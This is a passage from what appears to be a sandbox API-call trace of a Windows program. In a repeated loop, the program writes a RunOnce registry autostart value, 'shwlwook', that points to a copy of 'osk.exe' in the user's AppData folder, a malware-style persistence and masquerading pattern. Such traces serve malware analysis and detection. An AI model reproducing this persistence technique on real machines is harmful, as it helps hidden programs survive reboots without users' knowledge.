Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.385] RegCloseKey (hKey=0x644) returned 0x0 [0281.386] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.386] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.391] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.391] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.391] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.392] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.392] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.392] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.392] RegCloseKey (hKey=0x644) returned 0x0 [0281.392] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.393] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.406] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.406] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.407] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.407] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.407] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.408] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.408] RegCloseKey (hKey=0x644) returned 0x0 [0281.408] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.411] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.422] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.422] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.423] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.423] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.423] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.424] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.424] RegCloseKey (hKey=0x644) returned 0x0 [0281.424] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.424] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.438] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.438] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.438] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.439] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.439] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.439] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.439] RegCloseKey (hKey=0x644) returned 0x0 [0281.439] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.440] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.453] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.453] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.454] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.454] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.454] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.454] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.454] RegCloseKey (hKey=0x644) returned 0x0 [0281.455] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.455] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.469] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.469] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.469] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.470] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.470] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.470] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.470] RegCloseKey (hKey=0x644) returned 0x0 [0281.470] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.471] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.484] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.485] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.485] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.485] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.486] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.486] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.486] RegCloseKey (hKey=0x644) returned 0x0 [0281.486] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.487] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.502] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.502] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.503] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.503] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.503] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.504] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.504] RegCloseKey (hKey=0x644) returned 0x0 [0281.504] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.504] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.516] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.516] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.516] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.517] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.517] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.517] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.517] RegCloseKey (hKey=0x644) returned 0x0 [0281.517] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.518] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.588] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.588] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.589] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.589] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.589] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.589] RegCloseKey (hKey=0x644) returned 0x0 [0281.589] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.590] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.594] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.594] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.594] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.595] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.595] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.595] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.595] RegCloseKey (hKey=0x644) returned 0x0 [0281.595] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.595] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.609] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.609] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.610] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.610] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.610] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.610] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.611] RegCloseKey (hKey=0x644) returned 0x0 [0281.611] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.611] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.625] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.625] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.625] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.626] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.626] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.626] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.626] RegCloseKey (hKey=0x644) returned 0x0 [0281.627] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.627] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.641] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.641] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.641] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.642] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.642] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.642] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.642] RegCloseKey (hKey=0x644) returned 0x0 [0281.642] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.643] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.656] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.656] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.657] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.657] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.657] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.657] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.658] RegCloseKey (hKey=0x644) returned 0x0 [0281.658] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.658] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.672] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.672] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.672] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.673] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.673] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.673] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.673] RegCloseKey (hKey=0x644) returned 0x0 [0281.673] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.674] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.688] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.688] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.688] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.689] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.689] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.689] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.689] RegCloseKey (hKey=0x644) returned 0x0 [0281.689] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.689] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.703] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.703] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.704] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.704] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.704] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.704] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.704] RegCloseKey (hKey=0x644) returned 0x0 [0281.705] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.705] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.720] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.720] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.720] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.721] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.721] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.721] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.721] RegCloseKey (hKey=0x644) returned 0x0 [0281.721] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.721] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.750] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.750] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.751] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.751] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.751] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.751] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.752] RegCloseKey (hKey=0x644) returned 0x0 [0281.752] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.752] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.766] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.766] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.766] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.767] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.767] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.767] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.767] RegCloseKey (hKey=0x644) returned 0x0 [0281.768] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.768] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.782] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.782] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.782] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.783] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.783] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, 